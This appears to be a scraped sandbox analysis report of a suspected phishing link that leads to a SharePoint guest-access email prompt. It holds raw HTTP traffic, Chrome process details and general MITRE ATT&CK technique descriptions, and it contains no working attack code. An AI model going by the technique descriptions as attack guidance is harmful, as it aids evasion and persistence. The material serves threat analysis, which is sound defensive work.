2025-02-21 09:25:46 UTC	14376	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 6f 66 66 69 63 65 3a 6f 66 66 69 63 65 22 20 6c 61 6e 67 3d 22 66 72 2d 66 72 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 47 45 4e 45 52 41 54 4f 52 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 69 63 72 6f 73 6f 66 74 20 53 68 61 72 65 50 6f 69 6e 74 22 20 2f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns:o="urn:schemas-microsoft-com:office:office" lang="fr-fr" dir="ltr"><head><meta name="GENERATOR" content="Microsoft SharePoint" /
2025-02-21 09:25:46 UTC	16384	IN	Data Raw: 65 3e 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6d 6f 64 75 6c 65 4c 69 6e 6b 50 61 6e 65 6c 22 3e 0d 0a 09 0d 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 66 69 6c 65 73 2f 6f 64 73 70 2d 77 65 62 2d 70 72 6f 64 5f 32 30 32 35 2d 30 32 2d 30 37 2e 30 31 32 2f 73 70 6f 67 75 65 73 74 61 63 63 65 73 73 77 65 62 70 61 63 6b 2f 73 70 6f 67 75 65 73 74 61 63 63 65 73 73 2e 6a 73 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 69 6e Data Ascii: e><div id="moduleLinkPanel"><link rel="preconnect" href="https://res-1.cdn.office.net" crossorigin /><link rel="preload" href="https://res-1.cdn.office.net/files/odsp-web-prod_2025-02-07.012/spoguestaccesswebpack/spoguestaccess.js" as="script" in
2025-02-21 09:25:46 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 74 3d 74 5b 65 5d 7d 29 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 6d 61 6b 65 45 72 72 6f 72 28 65 2c 74 2c 72 2c 6e 29 7b 76 61 72 20 69 3d 6e 65 77 20 45 72 72 6f 72 28 74 2b 22 5c 6e 68 74 74 70 3a 2f 2f 72 65 71 75 69 72 65 6a 73 2e 6f 72 67 2f 64 6f 63 73 2f 65 72 72 6f 72 73 2e 68 74 6d 6c 23 22 2b 65 29 3b 69 2e 72 65 71 75 69 72 65 54 79 70 65 3d 65 3b 69 2e 72 65 71 75 69 72 65 4d 6f 64 75 6c 65 73 3d 6e 3b 72 26 26 28 69 2e 6f 72 69 67 69 6e 61 6c 45 72 72 6f 72 3d 72 29 3b 72 65 74 75 72 6e 20 69 7d 69 66 28 76 6f 69 64 20 30 3d 3d 3d 64 65 66 69 6e 65 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 65 71 75 69 72 65 6a 73 29 7b 69 66 28 69 73 46 75 6e 63 74 69 6f 6e 28 72 65 71 75 69 72 65 6a 73 29 29 72 65 Data Ascii: tion(e){t=t[e]});return t}function makeError(e,t,r,n){var i=new Error(t+"\nhttp://requirejs.org/docs/errors.html#"+e);i.requireType=e;i.requireModules=n;r&&(i.originalError=r);return i}if(void 0===define){if(void 0!==requirejs){if(isFunction(requirejs))re
2025-02-21 09:25:46 UTC	16384	IN	Data Raw: 20 20 20 76 61 72 20 6d 61 74 63 68 20 3d 20 75 72 6c 2e 6d 61 74 63 68 28 2f 5e 68 74 74 70 73 3a 5c 2f 5c 2f 5b 5e 5c 2f 5d 2b 5c 2f 2f 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 6d 61 74 63 68 20 26 26 20 6d 61 74 63 68 5b 30 5d 3b 0d 0a 20 20 7d 0d 0a 20 20 76 61 72 20 6f 72 69 67 69 6e 73 20 3d 20 62 61 73 65 55 72 6c 73 2e 6d 61 70 28 67 65 74 4f 72 69 67 69 6e 29 3b 0d 0a 20 20 77 69 6e 64 6f 77 2e 5f 5f 62 61 63 6b 75 70 42 61 73 65 55 72 6c 20 3d 20 62 61 73 65 55 72 6c 73 5b 31 5d 3b 0d 0a 20 20 76 61 72 20 62 61 63 6b 75 70 42 61 73 65 55 72 6c 20 3d 20 62 61 73 65 55 72 6c 73 5b 31 5d 3b 0d 0a 20 20 76 61 72 20 66 61 69 6c 4f 76 65 72 53 74 61 74 65 20 3d 20 28 77 69 6e 64 6f 77 2e 5f 5f 63 64 6e 46 61 69 6c 4f 76 65 72 53 74 61 74 65 20 3d Data Ascii: var match = url.match(/^https:\/\/[^\/]+\//); return match && match[0]; } var origins = baseUrls.map(getOrigin); window.__backupBaseUrl = baseUrls[1]; var backupBaseUrl = baseUrls[1]; var failOverState = (window.__cdnFailOverState =
2025-02-21 09:25:46 UTC	6414	IN	Data Raw: 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 2f 2f 3c 21 5b 43 44 41 54 41 5b 0d 0a 76 61 72 20 50 61 67 65 5f 56 61 6c 69 64 61 74 6f 72 73 20 3d 20 20 6e 65 77 20 41 72 72 61 79 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 52 65 71 54 4f 41 41 45 4d 61 69 6c 22 29 2c 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 56 61 6c 69 64 61 74 65 54 4f 41 41 45 4d 61 69 6c 22 29 2c 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 49 6e 63 6f 72 72 65 63 74 54 4f 41 41 45 4d 61 69 6c 22 29 29 3b 0d 0a 09 2f 2f 5d 5d 3e 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 Data Ascii: pe="text/javascript">//<![CDATA[var Page_Validators = new Array(document.getElementById("ReqTOAAEMail"), document.getElementById("ValidateTOAAEMail"), document.getElementById("IncorrectTOAAEMail"));//...</script><script type="text/javascript

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:26:04 UTC	595	OUT	OPTIONS /api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DUSSELDORF&ASN=20940&Country=DE&Region=NW&RequestIdentifier=0.64f21602.1740129946.79d344b&TotalRTCDNTime=78&CompressionType=&FileSize=215 HTTP/1.1 Host: m365cdn.nel.measure.office.net Connection: keep-alive Origin: https://res-1.cdn.office.net Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:26:05 UTC	319	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 7 Date: Fri, 21 Feb 2025 09:26:05 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-02-21 09:26:05 UTC	7	IN	Data Raw: 4f 50 54 49 4f 4e 53 Data Ascii: OPTIONS

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://app.pipelinecrm.com/connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Chrome Cache Entry: 97

Chrome Cache Entry: 98

Windows Analysis Report
https://app.pipelinecrm.com/connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:26:06 UTC	1132	OUT	POST /personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w HTTP/1.1 Host: casp-my.sharepoint.com Connection: keep-alive Content-Length: 1967 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://casp-my.sharepoint.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:26:06 UTC	1967	OUT	Data Raw: 5f 5f 45 56 45 4e 54 54 41 52 47 45 54 3d 62 74 6e 53 75 62 6d 69 74 45 6d 61 69 6c 26 5f 5f 45 56 45 4e 54 41 52 47 55 4d 45 4e 54 3d 26 53 69 64 65 42 79 53 69 64 65 54 6f 6b 65 6e 3d 31 36 2e 30 2e 32 35 38 30 35 2e 31 32 30 30 39 26 5f 5f 56 49 45 57 53 54 41 54 45 3d 57 73 4c 72 67 58 43 6c 58 4a 31 54 47 6d 7a 6f 52 52 31 4d 6c 6e 63 33 61 53 39 4d 56 74 77 62 6d 4d 70 49 6f 48 4e 6d 35 69 54 4c 25 32 42 5a 70 4b 65 47 53 43 49 50 32 5a 75 56 37 34 43 69 38 4a 6f 46 41 45 54 39 5a 51 6a 49 71 45 64 73 78 58 76 67 79 4b 38 74 41 47 39 70 54 35 6c 72 44 31 64 7a 47 58 78 69 59 4e 53 4e 51 61 79 7a 4b 58 64 4e 42 6b 4d 74 30 25 32 42 74 4d 71 36 32 35 65 74 46 51 64 76 38 4d 34 39 52 43 77 52 30 25 32 42 6c 35 61 64 51 44 6e 6c 56 31 6d 45 36 75 63 53 Data Ascii: __EVENTTARGET=btnSubmitEmail&__EVENTARGUMENT=&SideBySideToken=16.0.25805.12009&__VIEWSTATE=WsLrgXClXJ1TGmzoRR1Mlnc3aS9MVtwbmMpIoHNm5iTL%2BZpKeGSCIP2ZuV74Ci8JoFAET9ZQjIqEdsxXvgyK8tAG9pT5lrD1dzGXxiYNSNQayzKXdNBkMt0%2BtMq625etFQdv8M49RCwR0%2Bl5adQDnlV1mE6ucS
2025-02-21 09:26:07 UTC	2008	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-NetworkStatistics: 4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295 X-SharePointHealthScore: 0 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: 0fa083a1-802c-b000-9d91-ade891d9dce4 request-id: 0fa083a1-802c-b000-9d91-ade891d9dce4 MS-CV: oYOgDyyAALCdka3okdnc5A.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=6d233ac3-58ab-4f3e-8a19-798e723001ad&destinationEndpoint=190119&frontEnd=FarmDirect&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 477 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25805 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Fri, 21 Feb 2025 09:26:06 GMT Connection: close Content-Length: 69942
2025-02-21 09:26:07 UTC	14376	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 6f 66 66 69 63 65 3a 6f 66 66 69 63 65 22 20 6c 61 6e 67 3d 22 66 72 2d 66 72 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 47 45 4e 45 52 41 54 4f 52 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 69 63 72 6f 73 6f 66 74 20 53 68 61 72 65 50 6f 69 6e 74 22 20 2f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns:o="urn:schemas-microsoft-com:office:office" lang="fr-fr" dir="ltr"><head><meta name="GENERATOR" content="Microsoft SharePoint" /
2025-02-21 09:26:07 UTC	16384	IN	Data Raw: 65 3e 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6d 6f 64 75 6c 65 4c 69 6e 6b 50 61 6e 65 6c 22 3e 0d 0a 09 0d 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 66 69 6c 65 73 2f 6f 64 73 70 2d 77 65 62 2d 70 72 6f 64 5f 32 30 32 35 2d 30 32 2d 30 37 2e 30 31 32 2f 73 70 6f 67 75 65 73 74 61 63 63 65 73 73 77 65 62 70 61 63 6b 2f 73 70 6f 67 75 65 73 74 61 63 63 65 73 73 2e 6a 73 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 69 6e Data Ascii: e><div id="moduleLinkPanel"><link rel="preconnect" href="https://res-1.cdn.office.net" crossorigin /><link rel="preload" href="https://res-1.cdn.office.net/files/odsp-web-prod_2025-02-07.012/spoguestaccesswebpack/spoguestaccess.js" as="script" in
2025-02-21 09:26:07 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 74 3d 74 5b 65 5d 7d 29 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 6d 61 6b 65 45 72 72 6f 72 28 65 2c 74 2c 72 2c 6e 29 7b 76 61 72 20 69 3d 6e 65 77 20 45 72 72 6f 72 28 74 2b 22 5c 6e 68 74 74 70 3a 2f 2f 72 65 71 75 69 72 65 6a 73 2e 6f 72 67 2f 64 6f 63 73 2f 65 72 72 6f 72 73 2e 68 74 6d 6c 23 22 2b 65 29 3b 69 2e 72 65 71 75 69 72 65 54 79 70 65 3d 65 3b 69 2e 72 65 71 75 69 72 65 4d 6f 64 75 6c 65 73 3d 6e 3b 72 26 26 28 69 2e 6f 72 69 67 69 6e 61 6c 45 72 72 6f 72 3d 72 29 3b 72 65 74 75 72 6e 20 69 7d 69 66 28 76 6f 69 64 20 30 3d 3d 3d 64 65 66 69 6e 65 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 65 71 75 69 72 65 6a 73 29 7b 69 66 28 69 73 46 75 6e 63 74 69 6f 6e 28 72 65 71 75 69 72 65 6a 73 29 29 72 65 Data Ascii: tion(e){t=t[e]});return t}function makeError(e,t,r,n){var i=new Error(t+"\nhttp://requirejs.org/docs/errors.html#"+e);i.requireType=e;i.requireModules=n;r&&(i.originalError=r);return i}if(void 0===define){if(void 0!==requirejs){if(isFunction(requirejs))re
2025-02-21 09:26:07 UTC	16384	IN	Data Raw: 20 20 20 76 61 72 20 6d 61 74 63 68 20 3d 20 75 72 6c 2e 6d 61 74 63 68 28 2f 5e 68 74 74 70 73 3a 5c 2f 5c 2f 5b 5e 5c 2f 5d 2b 5c 2f 2f 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 6d 61 74 63 68 20 26 26 20 6d 61 74 63 68 5b 30 5d 3b 0d 0a 20 20 7d 0d 0a 20 20 76 61 72 20 6f 72 69 67 69 6e 73 20 3d 20 62 61 73 65 55 72 6c 73 2e 6d 61 70 28 67 65 74 4f 72 69 67 69 6e 29 3b 0d 0a 20 20 77 69 6e 64 6f 77 2e 5f 5f 62 61 63 6b 75 70 42 61 73 65 55 72 6c 20 3d 20 62 61 73 65 55 72 6c 73 5b 31 5d 3b 0d 0a 20 20 76 61 72 20 62 61 63 6b 75 70 42 61 73 65 55 72 6c 20 3d 20 62 61 73 65 55 72 6c 73 5b 31 5d 3b 0d 0a 20 20 76 61 72 20 66 61 69 6c 4f 76 65 72 53 74 61 74 65 20 3d 20 28 77 69 6e 64 6f 77 2e 5f 5f 63 64 6e 46 61 69 6c 4f 76 65 72 53 74 61 74 65 20 3d Data Ascii: var match = url.match(/^https:\/\/[^\/]+\//); return match && match[0]; } var origins = baseUrls.map(getOrigin); window.__backupBaseUrl = baseUrls[1]; var backupBaseUrl = baseUrls[1]; var failOverState = (window.__cdnFailOverState =
2025-02-21 09:26:07 UTC	6414	IN	Data Raw: 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 2f 2f 3c 21 5b 43 44 41 54 41 5b 0d 0a 76 61 72 20 50 61 67 65 5f 56 61 6c 69 64 61 74 6f 72 73 20 3d 20 20 6e 65 77 20 41 72 72 61 79 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 52 65 71 54 4f 41 41 45 4d 61 69 6c 22 29 2c 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 56 61 6c 69 64 61 74 65 54 4f 41 41 45 4d 61 69 6c 22 29 2c 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 49 6e 63 6f 72 72 65 63 74 54 4f 41 41 45 4d 61 69 6c 22 29 29 3b 0d 0a 09 2f 2f 5d 5d 3e 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 Data Ascii: pe="text/javascript">//<![CDATA[var Page_Validators = new Array(document.getElementById("ReqTOAAEMail"), document.getElementById("ValidateTOAAEMail"), document.getElementById("IncorrectTOAAEMail"));//...</script><script type="text/javascript

Target ID:	0
Start time:	04:24:39
Start date:	21/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	2
Start time:	04:24:42
Start date:	21/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1936 --field-trial-handle=2020,i,6877932132322953193,3937118836073825584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	3
Start time:	04:24:49
Start date:	21/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://app.pipelinecrm.com/connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre